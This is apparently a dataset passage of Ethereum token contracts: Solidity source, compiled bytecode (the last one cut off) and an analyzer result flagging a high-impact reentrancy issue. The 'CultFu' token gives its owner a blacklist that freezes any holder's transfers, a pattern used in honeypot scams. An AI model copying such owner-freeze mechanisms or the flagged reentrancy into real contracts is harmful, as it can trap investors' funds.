}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101c55760003560e01c806374010ece116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610529578063dd62ed3e14610549578063ea1644d51461058f578063f2fde38b146105af57600080fd5b8063a2a957bb146104a4578063a9059cbb146104c4578063bfd79284146104e4578063c3c8cd801461051457600080fd5b80638f70ccf7116100d15780638f70ccf7146104195780638f9a55c01461043957806395d89b411461044f57806398a5c3151461048457600080fd5b806374010ece146103c55780637d1db4a5146103e55780638da5cb5b146103fb57600080fd5b8063313ce567116101645780636d8aa8f81161013e5780636d8aa8f81461035b5780636fc3eaec1461037b57806370a0823114610390578063715018a6146103b057600080fd5b8063313ce567146102ff57806349bd5a5e1461031b5780636b9990531461033b57600080fd5b80631694505e116101a05780631694505e1461026a57806318160ddd146102a257806323b872dd146102c95780632fd689e3146102e957600080fd5b8062b8cf2a146101d157806306fdde03146101f3578063095ea7b31461023a57600080fd5b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f16101ec366004611af9565b6105cf565b005b3480156101ff57600080fd5b5060408051808201909152600c81526b2a3bb4ba3a32b9102134b93160a11b60208201525b6040516102319190611c23565b60405180910390f35b34801561024657600080fd5b5061025a610255366004611a4f565b61067c565b6040519015158152602001610231565b34801561027657600080fd5b5060145461028a906001600160a01b031681565b6040516001600160a01b039091168152602001610231565b3480156102ae57600080fd5b5069152d02c7e14af68000005b604051908152602001610231565b3480156102d557600080fd5b5061025a6102e4366004611a0f565b610693565b3480156102f557600080fd5b506102bb60185481565b34801561030b57600080fd5b5060405160098152602001610231565b34801561032757600080fd5b5060155461028a906001600160a01b031681565b34801561034757600080fd5b506101f161035636600461199f565b6106fc565b34801561036757600080fd5b506101f1610376366004611bc0565b610747565b34801561038757600080fd5b506101f161078f565b34801561039c57600080fd5b506102bb6103ab36600461199f565b6107da565b3480156103bc57600080fd5b506101f16107fc565b3480156103d157600080fd5b506101f16103e0366004611bda565b610870565b3480156103f157600080fd5b506102bb60165481565b34801561040757600080fd5b506000546001600160a01b031661028a565b34801561042557600080fd5b506101f1610434366004611bc0565b61089f565b34801561044557600080fd5b506102bb60175481565b34801561045b57600080fd5b5060408051808201909152600c81526b2a2ba4aa2a22a9102124a92160a11b6020820152610224565b34801561049057600080fd5b506101f161049f366004611bda565b6108e7565b3480156104b057600080fd5b506101f16104bf366004611bf2565b610916565b3480156104d057600080fd5b5061025a6104df366004611a4f565b610954565b3480156104f057600080fd5b5061025a6104ff36600461199f565b60106020526000908152604090205460ff1681565b34801561052057600080fd5b506101f1610961565b34801561053557600080fd5b506101f1610544366004611a7a565b6109b5565b34801561055557600080fd5b506102bb6105643660046119d7565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561059b57600080fd5b506101f16105aa366004611bda565b610a64565b3480156105bb57600080fd5b506101f16105ca36600461199f565b610a93565b6000546001600160a01b031633146106025760405162461bcd60e51b81526004016105f990611c76565b60405180910390fd5b60005b81518110156106785760016010600084848151811061063457634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061067081611d89565b915050610605565b5050565b6000610689338484610b7d565b5060015b92915050565b60006106a0848484610ca1565b6106f284336106ed85604051806060016040528060288152602001611de6602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111dd565b610b7d565b5060019392505050565b6000546001600160a01b031633146107265760405162461bcd60e51b81526004016105f990611c76565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107715760405162461bcd60e51b81526004016105f990611c76565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107c457506013546001600160a01b0316336001600160a01b0316145b6107cd57600080fd5b476107d781611217565b50565b6001600160a01b03811660009081526002602052604081205461068d9061129c565b6000546001600160a01b031633146108265760405162461bcd60e51b81526004016105f990611c76565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461089a5760405162461bcd60e51b81526004016105f990611c76565b601655565b6000546001600160a01b031633146108c95760405162461bcd60e51b81526004016105f990611c76565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109115760405162461bcd60e51b81526004016105f990611c76565b601855565b6000546001600160a01b031633146109405760405162461bcd60e51b81526004016105f990611c76565b600893909355600a91909155600955600b55565b6000610689338484610ca1565b6012546001600160a01b0316336001600160a01b0316148061099657506013546001600160a01b0316336001600160a01b0316145b61099f57600080fd5b60006109aa306107da565b90506107d781611320565b6000546001600160a01b031633146109df5760405162461bcd60e51b81526004016105f990611c76565b60005b82811015610a5e578160056000868685818110610a0f57634e487b7160e01b600052603260045260246000fd5b9050602002016020810190610a24919061199f565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a5681611d89565b9150506109e2565b50505050565b6000546001600160a01b03163314610a8e5760405162461bcd60e51b81526004016105f990611c76565b601755565b6000546001600160a01b03163314610abd5760405162461bcd60e51b81526004016105f990611c76565b6001600160a01b038116610b225760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105f9565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bdf5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105f9565b6001600160a01b038216610c405760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105f9565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d055760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105f9565b6001600160a01b038216610d675760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105f9565b60008111610dc95760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105f9565b6000546001600160a01b03848116911614801590610df557506000546001600160a01b03838116911614155b156110d657601554600160a01b900460ff16610e8e576000546001600160a01b03848116911614610e8e5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105f9565b601654811115610ee05760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105f9565b6001600160a01b03831660009081526010602052604090205460ff16158015610f2257506001600160a01b03821660009081526010602052604090205460ff16155b610f7a5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105f9565b6015546001600160a01b03838116911614610fff5760175481610f9c846107da565b610fa69190611d1b565b10610fff5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105f9565b600061100a306107da565b6018546016549192508210159082106110235760165491505b80801561103a5750601554600160a81b900460ff16155b801561105457506015546001600160a01b03868116911614155b80156110695750601554600160b01b900460ff165b801561108e57506001600160a01b03851660009081526005602052604090205460ff16155b80156110b357506001600160a01b03841660009081526005602052604090205460ff16155b156110d3576110c182611320565b4780156110d1576110d147611217565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061111857506001600160a01b03831660009081526005602052604090205460ff165b8061114a57506015546001600160a01b0385811691161480159061114a57506015546001600160a01b03848116911614155b15611157575060006111d1565b6015546001600160a01b03858116911614801561118257506014546001600160a01b03848116911614155b1561119457600854600c55600954600d555b6015546001600160a01b0384811691161480156111bf57506014546001600160a01b03858116911614155b156111d157600a54600c55600b54600d555b610a5e848484846114c5565b600081848411156112015760405162461bcd60e51b81526004016105f99190611c23565b50600061120e8486611d72565b95945050505050565b6012546001600160a01b03166108fc6112318360026114f3565b6040518115909202916000818181858888f19350505050158015611259573d6000803e3d6000fd5b506013546001600160a01b03166108fc6112748360026114f3565b6040518115909202916000818181858888f19350505050158015610678573d6000803e3d6000fd5b60006006548211156113035760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105f9565b600061130d611535565b905061131983826114f3565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061137657634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156113ca57600080fd5b505afa1580156113de573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061140291906119bb565b8160018151811061142357634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526014546114499130911684610b7d565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611482908590600090869030904290600401611cab565b600060405180830381600087803b15801561149c57600080fd5b505af11580156114b0573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b806114d2576114d2611558565b6114dd848484611586565b80610a5e57610a5e600e54600c55600f54600d55565b600061131983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061167d565b60008060006115426116ab565b909250905061155182826114f3565b9250505090565b600c541580156115685750600d54155b1561156f57565b600c8054600e55600d8054600f5560009182905555565b600080600080600080611598876116ef565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506115ca908761174c565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115f9908661178e565b6001600160a01b03891660009081526002602052604090205561161b816117ed565b6116258483611837565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161166a91815260200190565b60405180910390a3505050505050505050565b6000818361169e5760405162461bcd60e51b81526004016105f99190611c23565b50600061120e8486611d33565b600654600090819069152d02c7e14af68000006116c882826114f3565b8210156116e65750506006549269152d02c7e14af680000092509050565b90939092509050565b600080600080600080600080600061170c8a600c54600d5461185b565b925092509250600061171c611535565b9050600080600061172f8e8787876118b0565b919e509c509a509598509396509194505050505091939550919395565b600061131983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111dd565b60008061179b8385611d1b565b9050838110156113195760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105f9565b60006117f7611535565b905060006118058383611900565b30600090815260026020526040902054909150611822908261178e565b30600090815260026020526040902055505050565b600654611844908361174c565b600655600754611854908261178e565b6007555050565b6000808080611875606461186f8989611900565b906114f3565b90506000611888606461186f8a89611900565b905060006118a08261189a8b8661174c565b9061174c565b9992985090965090945050505050565b60008080806118bf8886611900565b905060006118cd8887611900565b905060006118db8888611900565b905060006118ed8261189a868661174c565b939b939a50919850919650505050505050565b60008261190f5750600061068d565b600061191b8385611d53565b9050826119288583611d33565b146113195760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105f9565b803561198a81611dd0565b919050565b8035801515811461198a57600080fd5b6000602082840312156119b0578081fd5b813561131981611dd0565b6000602082840312156119cc578081fd5b815161131981611dd0565b600080604083850312156119e9578081fd5b82356119f481611dd0565b91506020830135611a0481611dd0565b809150509250929050565b600080600060608486031215611a23578081fd5b8335611a2e81611dd0565b92506020840135611a3e81611dd0565b929592945050506040919091013590565b60008060408385031215611a61578182fd5b8235611a6c81611dd0565b946020939093013593505050565b600080600060408486031215611a8e578283fd5b833567ffffffffffffffff80821115611aa5578485fd5b818601915086601f830112611ab8578485fd5b813581811115611ac6578586fd5b8760208260051b8501011115611ada578586fd5b602092830195509350611af0918601905061198f565b90509250925092565b60006020808385031215611b0b578182fd5b823567ffffffffffffffff80821115611b22578384fd5b818501915085601f830112611b35578384fd5b813581811115611b4757611b47611dba565b8060051b604051601f19603f83011681018181108582111715611b6c57611b6c611dba565b604052828152858101935084860182860187018a1015611b8a578788fd5b8795505b83861015611bb357611b9f8161197f565b855260019590950194938601938601611b8e565b5098975050505050505050565b600060208284031215611bd1578081fd5b6113198261198f565b600060208284031215611beb578081fd5b5035919050565b60008060008060808587031215611c07578081fd5b5050823594602084013594506040840135936060013592509050565b6000602080835283518082850152825b81811015611c4f57858101830151858201604001528201611c33565b81811115611c605783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611cfa5784516001600160a01b031683529383019391830191600101611cd5565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611d2e57611d2e611da4565b500190565b600082611d4e57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611d6d57611d6d611da4565b500290565b600082821015611d8457611d84611da4565b500390565b6000600019821415611d9d57611d9d611da4565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107d757600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220395efff4768f78097d14253af940765e25e5c800fc077be4fb4fda3758755ece64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 4,381 |
0x8834EfceEE598312FE172F1A339287C1B6c37D73
|
// SPDX-License-Identifier: UNLICENSE
/**
https://t.me/cultfu
**/
pragma solidity ^0.8.13;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract CultFu is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 2000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
string private constant _name = "CultFu";
string private constant _symbol = "CULTFU";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(_msgSender());
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_maxTxAmount = _tTotal.div(100);
emit Transfer(address(_msgSender()), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from] && !bots[to]);
_feeAddr1 = 7;
_feeAddr2 = 3;
if (from != owner() && to != owner()) {
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// buy
require(amount <= _maxTxAmount);
require(tradingOpen);
}
if ( from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
if(to == uniswapV2Pair){
_feeAddr1 = 7;
_feeAddr2 = 3;
}
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 500000000000000000) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount);
}
function increaseMaxTx(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxTxAmount = _tTotal.mul(percentage).div(100);
}
function addSwap() external onlyOwner {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
}
function addLiq() external onlyOwner{
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function enableTrading() external onlyOwner{
tradingOpen = true;
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
if(bots_[i]!=address(uniswapV2Router) && bots_[i]!=address(uniswapV2Pair) &&bots_[i]!=address(this)){
bots[bots_[i]] = true;
}
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101235760003560e01c80638a259e6c116100a0578063b515566a11610064578063b515566a1461032d578063c3c8cd801461034d578063d91a21a614610362578063dd62ed3e14610382578063e9e1831a146103c857600080fd5b80638a259e6c1461028c5780638a8c523c146102a15780638da5cb5b146102b657806395d89b41146102de578063a9059cbb1461030d57600080fd5b8063313ce567116100e7578063313ce567146102065780635932ead1146102225780636fc3eaec1461024257806370a0823114610257578063715018a61461027757600080fd5b806306fdde031461012f578063095ea7b31461017057806318160ddd146101a057806323b872dd146101c4578063273123b7146101e457600080fd5b3661012a57005b600080fd5b34801561013b57600080fd5b5060408051808201909152600681526543756c74467560d01b60208201525b6040516101679190611607565b60405180910390f35b34801561017c57600080fd5b5061019061018b366004611681565b6103dd565b6040519015158152602001610167565b3480156101ac57600080fd5b5066071afd498d00005b604051908152602001610167565b3480156101d057600080fd5b506101906101df3660046116ad565b6103f4565b3480156101f057600080fd5b506102046101ff3660046116ee565b61045d565b005b34801561021257600080fd5b5060405160098152602001610167565b34801561022e57600080fd5b5061020461023d366004611719565b6104b1565b34801561024e57600080fd5b506102046104f9565b34801561026357600080fd5b506101b66102723660046116ee565b610506565b34801561028357600080fd5b50610204610528565b34801561029857600080fd5b5061020461059c565b3480156102ad57600080fd5b50610204610768565b3480156102c257600080fd5b506000546040516001600160a01b039091168152602001610167565b3480156102ea57600080fd5b5060408051808201909152600681526543554c54465560d01b602082015261015a565b34801561031957600080fd5b50610190610328366004611681565b6107a7565b34801561033957600080fd5b5061020461034836600461174c565b6107b4565b34801561035957600080fd5b50610204610908565b34801561036e57600080fd5b5061020461037d366004611811565b61091e565b34801561038e57600080fd5b506101b661039d36600461182a565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156103d457600080fd5b50610204610977565b60006103ea338484610b39565b5060015b92915050565b6000610401848484610c5d565b610453843361044e85604051806060016040528060288152602001611a27602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610f7e565b610b39565b5060019392505050565b6000546001600160a01b031633146104905760405162461bcd60e51b815260040161048790611863565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146104db5760405162461bcd60e51b815260040161048790611863565b600e8054911515600160b81b0260ff60b81b19909216919091179055565b4761050381610fb8565b50565b6001600160a01b0381166000908152600260205260408120546103ee90610ff2565b6000546001600160a01b031633146105525760405162461bcd60e51b815260040161048790611863565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146105c65760405162461bcd60e51b815260040161048790611863565b600d80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610601308266071afd498d0000610b39565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561063f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106639190611898565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106b0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106d49190611898565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610721573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107459190611898565b600e80546001600160a01b0319166001600160a01b039290921691909117905550565b6000546001600160a01b031633146107925760405162461bcd60e51b815260040161048790611863565b600e805460ff60a01b1916600160a01b179055565b60006103ea338484610c5d565b6000546001600160a01b031633146107de5760405162461bcd60e51b815260040161048790611863565b60005b815181101561090457600d5482516001600160a01b039091169083908390811061080d5761080d6118b5565b60200260200101516001600160a01b03161415801561085e5750600e5482516001600160a01b039091169083908390811061084a5761084a6118b5565b60200260200101516001600160a01b031614155b80156108955750306001600160a01b0316828281518110610881576108816118b5565b60200260200101516001600160a01b031614155b156108f2576001600660008484815181106108b2576108b26118b5565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b806108fc816118e1565b9150506107e1565b5050565b600061091330610506565b90506105038161106f565b6000546001600160a01b031633146109485760405162461bcd60e51b815260040161048790611863565b6000811161095557600080fd5b610971606461096b66071afd498d0000846111e9565b90610af0565b600f5550565b6000546001600160a01b031633146109a15760405162461bcd60e51b815260040161048790611863565b600d546001600160a01b031663f305d71947306109bd81610506565b6000806109d26000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a3a573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a5f91906118fa565b5050600e805461ffff60b01b19811661010160b01b17909155600d5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610acc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105039190611928565b6000610b3283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061126b565b9392505050565b6001600160a01b038316610b9b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610487565b6001600160a01b038216610bfc5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610487565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cc15760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610487565b6001600160a01b038216610d235760405162461bcd60e51b